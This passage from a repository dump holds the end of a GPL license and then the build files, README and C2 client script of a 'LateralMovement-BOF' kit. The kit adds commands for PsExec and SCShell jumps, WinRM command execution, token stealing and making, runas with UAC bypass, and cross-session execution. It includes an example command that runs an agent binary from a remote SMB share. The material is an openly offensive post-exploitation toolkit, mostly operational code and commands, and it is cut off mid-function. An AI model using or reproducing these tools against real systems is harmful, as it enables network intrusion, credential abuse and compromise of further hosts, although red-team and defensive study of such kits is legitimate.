(INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "LateralMovement-BOF/CMakeLists.txt",
    "content": "cmake_minimum_required(VERSION 3.16)\n#project(LateralMovement-BOF C CXX)\n\nset(CMAKE_C_STANDARD 99)\nset(CMAKE_CXX_STANDARD 11)\n\n# Include directories (main _include is at root level)\ninclude_directories(${CMAKE_SOURCE_DIR}/_include)\n\n# Source files\nset(PSEXEC_SOURCES psexec/psexec.c)\nset(SCSHELL_SOURCES scshell/scshell.c)\nset(TOKEN_MAKE_SOURCES token_make/token_make.c)\nset(TOKEN_STEAL_SOURCES token_steal/token_steal.c)\nset(WINRM_SOURCES winrm-client/winrm.cpp)\n\n# Compiler flags\nset(CMAKE_C_FLAGS \"${CMAKE_C_FLAGS} -Os -w -Wno-int-conversion -Wno-incompatible-pointer-types\")\nset(CMAKE_CXX_FLAGS \"${CMAKE_CXX_FLAGS} -Os -w\")\nset(CMAKE_C_FLAGS_RELEASE \"${CMAKE_C_FLAGS_RELEASE} -s\")\nset(CMAKE_CXX_FLAGS_RELEASE \"${CMAKE_CXX_FLAGS_RELEASE} -s\")\n\n# Object file targets\nadd_library(psexec OBJECT ${PSEXEC_SOURCES})\nadd_library(scshell OBJECT ${SCSHELL_SOURCES})\nadd_library(token_make OBJECT ${TOKEN_MAKE_SOURCES})\nadd_library(token_steal OBJECT ${TOKEN_STEAL_SOURCES})\n\nadd_library(winrm OBJECT ${WINRM_SOURCES})\ntarget_compile_options(winrm PRIVATE\n    -masm=intel\n    -nostdlib\n    -Wno-nonnull\n    -fno-asynchronous-unwind-tables\n    -fno-exceptions\n    -fno-rtti\n)\n\n# Create _bin directory\nfile(MAKE_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}/_bin)\n\n# Custom commands to copy object files to _bin\nadd_custom_target(copy_psexec ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:psexec> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/psexec.x64.o\n    DEPENDS psexec\n    COMMENT \"Copying psexec object file\"\n)\n\nadd_custom_target(copy_scshell ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:scshell> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/scshell.x64.o\n    DEPENDS scshell\n    COMMENT \"Copying scshell object file\"\n)\n\nadd_custom_target(copy_token_make ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:token_make> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/token_make.x64.o\n    DEPENDS token_make\n    COMMENT \"Copying token_make object file\"\n)\n\nadd_custom_target(copy_token_steal ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:token_steal> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/token_steal.x64.o\n    DEPENDS token_steal\n    COMMENT \"Copying token_steal object file\"\n)\n\nadd_custom_target(copy_winrm ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:winrm> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/winrm.x64.o\n    DEPENDS winrm\n    COMMENT \"Copying winrm object file\"\n)\n"
  },
  {
    "path": "LateralMovement-BOF/Makefile",
    "content": "CC64 = x86_64-w64-mingw32-gcc\nCC86 = i686-w64-mingw32-gcc\nCPP64 = x86_64-w64-mingw32-g++\nCPP86 = i686-w64-mingw32-g++\nSTRIP64 = x86_64-w64-mingw32-strip --strip-unneeded\nSTRIP86 = i686-w64-mingw32-strip --strip-unneeded\nCFLAGS = -I ../_include -w -Wno-int-conversion -Wno-incompatible-pointer-types -Os -DBOF -s -c\n\nall: bof\n\nbof: clean\n\t@(mkdir _bin 2>/dev/null) && echo 'creating _bin directory' || echo '_bin directory exists'\n\t# 64-bit builds\n\t@($(CC64) $(CFLAGS) psexec/psexec.c -o _bin/psexec.x64.o && $(STRIP64) _bin/psexec.x64.o) && echo '[+] psexec' || echo '[!] psexec'\n\t@($(CC64) $(CFLAGS) scshell/scshell.c -o _bin/scshell.x64.o && $(STRIP64) _bin/scshell.x64.o) && echo '[+] scshell' || echo '[!] scshell'\n\t@($(CC64) $(CFLAGS) token_make/token_make.c -o _bin/token_make.x64.o && $(STRIP64) _bin/token_make.x64.o) && echo '[+] token_make' || echo '[!] token_make'\n\t@($(CC64) $(CFLAGS) token_steal/token_steal.c -o _bin/token_steal.x64.o && $(STRIP64) _bin/token_steal.x64.o) && echo '[+] token_steal' || echo '[!] token_steal'\n\t@($(CC64) $(CFLAGS) runas/runas.c -o _bin/runas.x64.o && $(STRIP64) _bin/runas.x64.o) && echo '[+] runas' || echo '[!] runas'\n\t@($(CC64) $(CFLAGS) runas_sess_IHxExec/ihxexec.c -o _bin/runas_sess_ihxexec.x64.o && $(STRIP64) _bin/runas_sess_ihxexec.x64.o) && echo '[+] runas_sess_ihxexec' || echo '[!] runas_sess_ihxexec'\n\t@($(CPP64) -I ../_include -w -Os -s -c -masm=intel -nostdlib -Wno-nonnull -fno-asynchronous-unwind-tables -fno-exceptions -fno-rtti winrm-client/winrm.cpp -o _bin/winrm.x64.o && $(STRIP64) _bin/winrm.x64.o) && echo '[+] winrm' || echo '[!] winrm'\n\n\t# 32-bit builds\n\t@($(CC86) $(CFLAGS) psexec/psexec.c            -o _bin/psexec.x32.o      && $(STRIP86) _bin/psexec.x32.o)      && echo '[+] psexec (x32)'      || echo '[!] psexec (x32)'\n\t@($(CC86) $(CFLAGS) scshell/scshell.c          -o _bin/scshell.x32.o     && $(STRIP86) _bin/scshell.x32.o)     && echo '[+] scshell (x32)'     || echo '[!] scshell (x32)'\n\t@($(CC86) $(CFLAGS) token_make/token_make.c    -o _bin/token_make.x32.o  && $(STRIP86) _bin/token_make.x32.o)  && echo '[+] token_make (x32)'  || echo '[!] token_make (x32)'\n\t@($(CC86) $(CFLAGS) token_steal/token_steal.c  -o _bin/token_steal.x32.o && $(STRIP86) _bin/token_steal.x32.o) && echo '[+] token_steal (x32)' || echo '[!] token_steal (x32)'\n\t@($(CC86) $(CFLAGS) runas/runas.c              -o _bin/runas.x32.o       && $(STRIP86) _bin/runas.x32.o)       && echo '[+] runas (x32)'       || echo '[!] runas (x32)'\n\t@#($(CC64) $(CFLAGS) runas_sess_IHxExec/ihxexec.c -o _bin/runas_sess_ihxexec.x64.o && $(STRIP64) _bin/runas_sess_ihxexec.x64.o) && echo '[+] runas_sess_ihxexec' || echo '[!] runas_sess_ihxexec'\n\t@#($(CPP86) -I ../_include -w -Os -s -c -masm=intel -nostdlib -Wno-nonnull -fno-asynchronous-unwind-tables -fno-exceptions -fno-rtti winrm-client/winrm.cpp -o _bin/winrm.x32.o && $(STRIP86) _bin/winrm.x32.o) && echo '[+] winrm (x32)' || echo '[!] winrm (x32)'\n\nclean:\n\t@(rm -rf _bin)\n"
  },
  {
    "path": "LateralMovement-BOF/README.md",
    "content": "# LateralMovement-BOF\n\nBOFs kit for lateral movements\n\n![](_img/01.png)\n\n## jump psexec\n\nAttempt to spawn a session on a remote target via PsExec\n\n```\njump psexec [-b binary_name] [-s share] [-p svc_path] [-n svc_name] [-d svc_description] <target> <binary>\n```\n\n\n## jump scshell\n\nJumping with SCShell requires deploying a service binary to the target system, similar to psexec. It will no longer be fileless like invoke.\n\n```\njump scshell <target> <svc_binary_path> [-n service_name] [-b binary_name] [-s share] [-p path]\n\n#example\njump scshell 10.0.2.10 /tmp/agent_svc.exe -n defragsvc -b update.exe -s C$ -p C:\\Windows\n```\n\nCommon services that work well with SCShell:\n- `defragsvc` - Disk Defragmentation Service\n- `spooler` - Print Spooler\n- `SensorService` - Server to manage sensors.\n- `SessionEnv` - Remote Desktop Configuration\n- `IKEEXT` - IKE and AuthIP IPsec Keying Modules\n\nChoose services that:\n- Are not critical to system operation\n- Are not running (or can be stopped)\n- Have sufficient privileges\n- Are configured to start on-demand\n\n\n\n## invoke winrm\n\nUse WinRM to execute commands on other systems\n\n```\ninvoke winrm <computer> <command> [-t timeout_ms] [-b]\n```\n\n* `-t` - Timeout in milliseconds to wait for output (0 = infinite)\n* `-b` - Keep WinRM shell open for background execution, no output capture\n\nNote: when using flags and a command with spaces, quote the command and place flags after it.\n\n\n## invoke scshell\n\nExecute commands on remote systems by temporarily modifying a service.\n\n```\ninvoke scshell <target> <service_name> <command>\n\n#example\ninvoke scshell 10.0.2.10 defragsvc \"cmd.exe /c powershell -c \\\"$r=whoami;$r > C:\\Temp\\whoami.txt\\\"\"\n```\n\nCommon services that work well with SCShell:\n- `defragsvc` - Disk Defragmentation Service\n- `spooler` - Print Spooler\n- `SensorService` - Server to manage sensors.\n- `SessionEnv` - Remote Desktop Configuration\n- `IKEEXT` - IKE and AuthIP IPsec Keying Modules\n\nChoose services that:\n- Are not critical to system operation\n- Are not running (or can be stopped)\n- Have sufficient privileges\n- Are configured to start on-demand\n\n\n\n## runas-user\n\nRunas is a BOF to run specific processes with different permissions than the user's current logon provides using explicit credentials.\n\n```Shell\nrunas-user <username> <password> <domain> <command> [-l logon_type] [-t timeout] [-o] [-b]\n```\n\n* `-o` - With output capture\n* `-b` - Bypass UAC (use with admin credentials)\n\n\n\n## runas-session\n\nExecute binary in another user's session via IHxHelpPaneServer COM.\n\n```Shell\nrunas-session <session_id> <filepath>\n```\n\n\n\n## token make\n\nCreates an impersonated token from a given credentials\n\n```\ntoken make <username> <password> <domain> <type>\n```\n\n![](_img/02.png)\n\nThe **Make token** item will be added to the **Access** menu in the Sessions Table and Graph.\n\n![](_img/03.png)\n\n![](_img/04.png)\n\n\n\n## token steal\n\nSteal access token from a process\n\n```\ntoken steal <pid>\n```\n\nThe **Steal token** item will be added to the context menu in the Process Browser.\n\n![](_img/05.png)\n\n\n## Credits\n* SCShell - https://github.com/Mr-Un1k0d3r/SCShell"
  },
  {
    "path": "LateralMovement-BOF/lateral.axs",
    "content": "var metadata = {\n    name: \"LateralMovement\",\n    description: \"BOFs for lateral movement\"\n};\n\nvar _cmd_jump_psexec = ax.create_command(\"psexec\", \"Attempt to spawn a session on a remote target via PsExec\", \"jump psexec 192.168.0.1 /tmp/agent_svc.exe -b update.exe -s C$ -p C: -n UpdateService -d UpdateService\");\n_cmd_jump_psexec.addArgFlagString( \"-b\", \"binary_name\",     \"Remote binary name\", \"random\");\n_cmd_jump_psexec.addArgFlagString( \"-s\", \"share\",           \"Share for for copying the file\", \"ADMIN$\");\n_cmd_jump_psexec.addArgFlagString( \"-p\", \"svc_path\",        \"Path to the service file\", \"C:\\\\Windows\");\n_cmd_jump_psexec.addArgFlagString( \"-n\", \"svc_name\",        \"Service name\", \"random\");\n_cmd_jump_psexec.addArgFlagString( \"-d\", \"svc_description\", \"Service description\", \"random\");\n_cmd_jump_psexec.addArgString(\"target\", true);\n_cmd_jump_psexec.addArgFile(\"binary\", true);\n_cmd_jump_psexec.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let target          = parsed_json[\"target\"];\n    let binary_content  = parsed_json[\"binary\"];\n    let share           = parsed_json[\"share\"];\n    let binary_name     = parsed_json[\"binary_name\"];\n    let svc_path        = parsed_json[\"svc_path\"];\n    let svc_name        = parsed_json[\"svc_name\"];\n    let svc_description = parsed_json[\"svc_description\"];\n\n    if (binary_name == \"random\")  binary_name = ax.random_string(8, \"alphabetic\") + \".exe\";\n    if (svc_name.length == \"random\")  svc_name = ax.random_string(10, \"alphabetic\");\n    if (svc_description.length == \"random\")  svc_description = ax.random_string(16, \"alphabetic\");\n\n    let bof_params = ax.bof_pack(\"cstr,bytes,cstr,cstr,cstr,cstr,cstr\", [target, binary_content, binary_name, share, svc_path, svc_name, svc_description]);\n    let bof_path = ax.script_dir() + \"_bin/psexec.\" + ax.arch(id) + \".o\";\n    let message = `Task: Jump to ${target} via PsExec (${binary_name})`;\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\n\n\nvar _cmd_jump_scshell = ax.create_command(\"scshell\", \"Attempt to spawn a session on a remote target via SCShell\", \"jump scshell 192.168.0.1 /tmp/agent_svc.exe -b update.exe -s C$ -p C:\\\\Windows -n defragsvc\");\n_cmd_jump_scshell.addArgFlagString( \"-b\", \"binary_name\",     \"Remote binary name\", \"random\");\n_cmd_jump_scshell.addArgFlagString( \"-s\", \"share\",           \"Share for copying the file\", \"ADMIN$\");\n_cmd_jump_scshell.addArgFlagString( \"-p\", \"svc_path\",        \"Path to the service file\", \"C:\\\\Windows\");\n_cmd_jump_scshell.addArgFlagString( \"-n\", \"svc_name\",        \"Service name to modify\", \"defragsvc\");\n_cmd_jump_scshell.addArgString(\"target\", true);\n_cmd_jump_scshell.addArgFile(\"binary\", true);\n_cmd_jump_scshell.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let target          = parsed_json[\"target\"];\n    let binary_content  = parsed_json[\"binary\"];\n    let share           = parsed_json[\"share\"];\n    let binary_name     = parsed_json[\"binary_name\"];\n    let svc_path        = parsed_json[\"svc_path\"];\n    let svc_name        = parsed_json[\"svc_name\"];\n\n    if (binary_name == \"random\")  binary_name = ax.random_string(8, \"alphabetic\") + \".exe\";\n\n    let remote_unc_path = `\\\\\\\\${target}\\\\${share}\\\\${binary_name}`;\n    let local_path_on_target = `${svc_path}\\\\${binary_name}`;\n\n    let bof_params = ax.bof_pack(\"cstr,cstr,cstr,bytes\", [target, svc_name, remote_unc_path, binary_content]);\n    let bof_path = ax.script_dir() + \"_bin/scshell.\" + ax.arch(id) + \".o\";\n    let message = `Task: Jump to ${target} via SCShell (service: ${svc_name}, binary: ${binary_name})`;\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\n\n\nvar cmd_jump = ax.create_command(\"jump\", \"Attempt to spawn a session on a remote target with the specified method\");\ncmd_jump.addSubCommands([_cmd_jump_psexec, _cmd_jump_scshell]);\n\n\n\nvar _cmd_invoke_winrm = ax.create_command(\"winrm\", \"Use WinRM to execute commands on other systems\", \"invoke winrm 192.168.0.1 \\\"whoami /all\\\" -t 60000 -u DOMAIN\\\\\\\\user -p P@ssw0rd\");\n_cmd_invoke_winrm.addArgString(\"target\", true);\n_cmd_invoke_winrm.addArgString(\"cmd\", true);\n_cmd_invoke_winrm.addArgFlagInt(\"-t\", \"timeout\", \"Timeout in milliseconds to wait for output (0 = infinite)\", 0);\n_cmd_invoke_winrm.addArgBool(\"-b\", \"background\", \"Keep WinRM shell open for background execution, no output\");\n_cmd_invoke_winrm.addArgFlagString(\"-u\", \"username\", \"Username for authentication (DOMAIN\\\\\\\\user)\", \"\");\n_cmd_invoke_winrm.addArgFlagString(\"-p\", \"password\", \"Password for authentication\", \"\");\n_cmd_invoke_winrm.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let target = parsed_json[\"target\"];\n    let cmd = parsed_json[\"cmd\"];\n    let timeout = parsed_json[\"timeout\"];\n    let background = parsed_json[\"-b\"] ? 1 : 0;\n    let username = parsed_json[\"username\"];\n    let password = parsed_json[\"password\"];\n\n    if (username.length > 0 && password.length == 0)\n        throw new Error(\"Password is required when username is specified (-u requires -p)\");\n\n    let bof_params = ax.bof_pack(\"wstr,wstr,int,int,wstr,wstr\", [target, cmd, timeout, background, username, password]);\n    let bof_path = ax.script_dir() + \"_bin/winrm.\" + ax.arch(id) + \".o\";\n    let message = username.length > 0\n        ? `Task: Invoke to ${target} via WinRM as ${username}`\n        : `Task: Invoke to ${target} via WinRM`;\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\n\n\nvar _cmd_invoke_scshell = ax.create_command(\"scshell\", \"Use SCShell to execute commands on other systems by modifying service binary path (fileless)\", \"invoke scshell 10.0.2.10 defragsvc \\\"cmd.exe /c \\\\\\\\10.0.2.1\\\\share\\\\agent.exe\\\"\");\n_cmd_invoke_scshell.addArgString(\"target\", true);\n_cmd_invoke_scshell.addArgString(\"service\", true);\n_cmd_invoke_scshell.addArgString(\"payload\", true);\n_cmd_invoke_scshell.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let target = parsed_json[\"target\"];\n    let service = parsed_json[\"service\"];\n    let payload = parsed_json[\"payload\"];\n\n    let bof_params = ax.bof_pack(\"cstr,cstr,cstr\", [target, service, payload]);\n    let bof_path = ax.script_dir() + \"_bin/scshell.\" + ax.arch(id) + \".o\";\n    let message = `Task: Invoke SCShell on ${target} (service: ${service})`;\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\n\n\nvar cmd_invoke = ax.create_command(\"invoke\", \"Attempt to execute a command on a remote target with the specified method\");\ncmd_invoke.addSubCommands([_cmd_invoke_winrm, _cmd_invoke_scshell]);\n\n\n\nlet hook_impersonate = function (task)\n{\n    let regex = /impersonated successfully:\\s+([^\\s]+(?:\\s[^\\s\\(\\)\\[]+)*)(?:\\s*\\(logon:\\s*(\\d+)\\))?(?:\\s*\\[(elevated)\\])?/i;\n    let match = task.text.match(regex);\n    if(match) {\n        let user = match[1].trim();\n        let logonType = match[2] ? parseInt(match[2]) : null;\n        let isElevated = match[3] === \"elevated\";\n\n        if(logonType) { user = user + \" (\" + logonType + \")\"; }\n\n        ax.agent_set_impersonate(task.agent, user, isElevated);\n    }\n    return task;\n}\n\nvar _cmd_token_make = ax.create_command(\"make\", \"Creates an impersonated token from a given credentials\", \"token make admin P@ssword domain.local 8\");\n_cmd_token_make.addArgString(\"username\", true);\n_cmd_token_make.addArgString(\"password\", true);\n_cmd_token_make.addArgString(\"domain\", true);\n_cmd_token_make.addArgInt(\"type\", true, \"Logon type: 2 - Interactive\\n                                        3 - Network\\n                                        4 - Batch\\n                                        5 - Service\\n                                        8 - NetworkCleartext\\n                                        9 - NewCredentials\");\n_cmd_token_make.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let username = parsed_json[\"username\"];\n    let password = parsed_json[\"password\"];\n    let domain = parsed_json[\"domain\"];\n    let type = parsed_json[\"type\"];\n\n    let bof_params = ax.bof_pack(\"wstr,wstr,wstr,int\", [username, password, domain, type]);\n    let bof_path = ax.script_dir() + \"_bin/token_make.\" + ax.arch(id) + \".o\";\n    let message = `Task: make access token for ${domain}\\\\${username}`;\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message, hook_impersonate);\n});\n\nvar _cmd_token_steal = ax.create_command(\"steal\", \"Steal access token from a process\", \"token steal 608\");\n_cmd_token_steal.addArgInt(\"pid\", true);\n_cmd_token_steal.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let pid = parsed_json[\"pid\"];\n    let bof_params = ax.bof_pack(\"int\", [pid]);\n    let bof_path = ax.script_dir() + \"_bin/token_steal.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Task: steal access token\", hook_impersonate);\n});\n\nvar cmd_token = ax.create_command(\"token\", \"Impersonate token\");\ncmd_token.addSubCommands([_cmd_token_make, _cmd_token_steal]);\n\nvar cmd_token_x = ax.create_command(\"token-x\", \"Impersonate token\");\ncmd_token_x.addSubCommands([_cmd_token_make, _cmd_token_steal]);\n\n\n\nvar cmd_runas_user = ax.create_command(\"runas-user\", \"Run a command as another user using explicit credentials (RunasCs-like)\", \"runas admin P@ssword domain.local \\\"cmd /c whoami\\\" -l 9 -t 30000 -o -b\");\ncmd_runas_user.addArgString(\"username\", true, \"Username for authentication\");\ncmd_runas_user.addArgString(\"password\", true, \"Password for authentication\");\ncmd_runas_user.addArgString(\"domain\", true, \"Domain (use '.' for local)\");\ncmd_runas_user.addArgString(\"command\", true, \"Command line to execute\");\ncmd_runas_user.addArgFlagInt(\"-l\", \"logon_type\", \"Logon type: 2-Interactive, 3-Network, 4-Batch, 5-Service, 8-NetworkCleartext, 9-NewCredentials\", 2);\ncmd_runas_user.addArgFlagInt(\"-t\", \"timeout\", \"Timeout in milliseconds to wait for process output (default: 120000)\", 0);\ncmd_runas_user.addArgBool(\"-o\", \"With output capture\");\ncmd_runas_user.addArgBool(\"-b\", \"Bypass UAC (use with admin credentials)\");\ncmd_runas_user.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let username   = parsed_json[\"username\"];\n    let password   = parsed_json[\"password\"];\n    let domain     = parsed_json[\"domain\"];\n    let command    = parsed_json[\"command\"];\n    let logon_type = parsed_json[\"logon_type\"];\n    let timeout    = parsed_json[\"timeout\"];\n    let no_output  = parsed_json[\"-o\"] ? 0 : 1;\n    let bypass_uac = parsed_json[\"-b\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"wstr,wstr,wstr,wstr,int,int,int,int\", [username, password, domain, command, logon_type, timeout, no_output, bypass_uac]);\n    let bof_path = ax.script_dir() + \"_bin/runas.\" + ax.arch(id) + \".o\";\n    let message = `Task: runas ${domain}\\\\${username} -> '${command}'`;\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\n\n\n\nvar cmd_runas_session = ax.create_command(\"runas-session\", \"Execute binary in another user's session via IHxHelpPaneServer COM\", \"runas-session 3 C:\\\\Windows\\\\Temp\\\\file.exe\");\ncmd_runas_session.addArgInt(\"session_id\", true);\ncmd_runas_session.addArgString(\"filepath\", true);\ncmd_runas_session.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let sessId = parsed_json[\"session_id\"];\n    let path   = parsed_json[\"filepath\"];\n\n    if( ax.is64(id) == false ) { throw new Error(\"WoW64 is not supported\"); }\n\n    if( ax.isadmin(id) == false ) { throw new Error(\"You need to be admin to run nanodump\"); }\n\n    let bof_params = ax.bof_pack(\"int,wstr\", [sessId, path]);\n    let bof_path = ax.script_dir() + \"_bin/runas_sess_ihxexec.\" + ax.arch(id) + \".o\";\n    let message = `Task: Cross-Sessions executeion ${path}`;\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\n\n\nvar group_lateral = ax.create_commands_group(\"LateralMovement-BOF\", [cmd_jump, cmd_invoke, cmd_token, cmd_runas_user, cmd_runas_session]);\nax.register_commands_group(group_lateral, [\"beacon\", \"gopher\"], [\"windows\"], []);\n\nvar group_lateral_x = ax.create_commands_group(\"LateralMovement-BOF-X\", [cmd_jump, cmd_invoke, cmd_token_x, cmd_runas_user, cmd_runas_session]);\nax.register_commands_group(group_lateral_x, [\"kharon\"], [\"windows\"], []);\n\n\n\n/// MENU\n\nlet token_steal_action = menu.create_action(\"Steal token\", function(process_list) {\n    if (process_list.length > 0 ) {\n        let proc = process_list[0];\n        ax.execute_command(proc.agent_id, \"token steal \" + proc.pid);\n    }\n});\nmenu.add_processbrowser(token_steal_action, [\"beacon\", \"gopher\"], [\"windows\"]);\n\nlet token_make_action = menu.create_action(\"Make token\", function(agent_list) {\n    if (agent_list.length > 0 ) {\n\n        let map_logon = { \"LOGON_INTERACTIVE\": 2, \"LOGON_NETWORK\": 3, \"LOGON_BATCH\": 4, \"LOGON_SERVICE\": 5, \"LOGON_NETWORK_CLEARTEXT\":8, \"LOGON_NEW_CREDENTIALS\":9 };\n\n        let creds_selector = form.create_selector_credentials([\"username\", \"password\", \"realm\", \"tag\"]);\n        creds_selector.setSize(800, 400);\n\n        let username_label = form.create_label(\"Username:\");\n        let username_text  = form.create_textline();\n        let select_button  = form.create_button(\"...\");\n        let password_label = form.create_label(\"Password:\");\n        let password_text  = form.create_textline();\n        let realm_label    = form.create_label(\"Realm:\");\n        let realm_text     = form.create_textline();\n        let logon_label    = form.create_label(\"Logon type:\");\n        let logon_combo    = form.create_combo();\n        logon_combo.setItems([\"LOGON_INTERACTIVE\", \"LOGON_NETWORK\", \"LOGON_BATCH\", \"LOGON_SERVICE\", \"LOGON_NETWORK_CLEARTEXT\", \"LOGON_NEW_CREDENTIALS\"]);\n        logon_combo.setCurrentIndex(5);\n\n        form.connect(select_button, \"clicked\", function(){\n            let cred_list = creds_selector.exec();\n            if (cred_list.length > 0) {\n                let cred = cred_list[0];\n                if(cred[\"realm\"].length == 0) { cred[\"realm\"] = \".\"; }\n                username_text.setText(cred[\"username\"]);\n                password_text.setText(cred[\"password\"]);\n                realm_text.setText(cred[\"realm\"]);\n            }\n        });\n\n        let layout = form.create_gridlayout();\n        layout.addWidget(username_label, 0, 0, 1, 1);\n        layout.addWidget(username_text,  0, 1, 1, 1);\n        layout.addWidget(select_button,  0, 2, 1, 1);\n        layout.addWidget(password_label, 1, 0, 1, 1);\n        layout.addWidget(password_text,  1, 1, 1, 1);\n        layout.addWidget(realm_label,    2, 0, 1, 1);\n        layout.addWidget(realm_text,     2, 1, 1, 1);\n        layout.addWidget(logon_label,    3, 0, 1, 1);\n        layout.addWidget(logon_combo,    3, 1, 1, 1);\n\n        let dialog = form.create_dialog(\"Make token\");\n        dialog.setSize(440, 200);\n        dialog.setLayout(layout);\n        dialog.setButtonsText(\"Make\", \"Cancel\");\n        while(dialog.exec()) {\n            if(username_text.text().length == 0 || password_text.text().length == 0 || realm_text.text().length == 0) { continue; }\n\n            let command = `token make ${username_text.text()} \"${password_text.text()}\" ${realm_text.text()} ${map_logon[logon_combo.currentText()]}`;\n            agent_list.forEach(id => ax.execute_command(id, command));\n            break;\n        }\n    }\n});\nmenu.add_session_access(token_make_action, [\"beacon\", \"gopher\"], [\"windows\"]);\n\n\n\n/// MENU TARGETS\n\nlet psexec_action = menu.create_action(\"PsExec\", function(targets_id) {\n    let agents_selector = form.create_selector_agents([\"id\", \"type\", \"computer\", \"username\", \"process\", \"pid\", \"tags\"]);\n    agents_selector.setSize(1000, 400);\n\n    let label_format = form.create_label(\"Target format:\");\n    let combo_format = form.create_combo();\n    combo_format.addItems([\"FQDN\", \"IP address\"]);\n\n    let label_file  = form.create_label(\"Payload file:\");\n    let text_file   = form.create_textline();\n    let button_file = form.create_button(\"...\");\n\n    let agent_label   = form.create_label(\"Session:\");\n    let agent_text    = form.create_textline();\n    let select_button = form.create_button(\"...\");\n\n    let hline = form.create_hline()\n\n    let share_label = form.create_label(\"Share:\");\n    let share_text  = form.create_textline();\n    share_text.setPlaceholder(\"Default: ADMIN$\");\n\n    let path_label = form.create_label(\"Remote path:\");\n    let path_text  = form.create_textline();\n    path_text.setPlaceholder(\"Default: C:\\\\Windows\");\n\n    let bin_name_label = form.create_label(\"Binary name:\");\n    let bin_name_text  = form.create_textline();\n    bin_name_text.setPlaceholder(\"Default: random\");\n\n    let svc_name_label = form.create_label(\"Svc Name:\");\n    let svc_name_text  = form.create_textline();\n    svc_name_text.setPlaceholder(\"Default: random\");\n\n    let svc_desc_label = form.create_label(\"Svc Description:\");\n    let svc_desc_text  = form.create_textline();\n    svc_desc_text.setPlaceholder(\"Default: random\");\n\n    let layout = form.create_gridlayout();\n    layout.addWidget(label_format,   0, 0, 1, 1);\n    layout.addWidget(combo_format,   0, 1, 1, 2);\n    layout.addWidget(label_file,     1, 0, 1, 1);\n    layout.addWidget(text_file,      1, 1, 1, 1);\n    layout.addWidget(button_file,    1, 2, 1, 1);\n    layout.addWidget(agent_label,    2, 0, 1, 1);\n    layout.addWidget(agent_text,     2, 1, 1, 1);\n   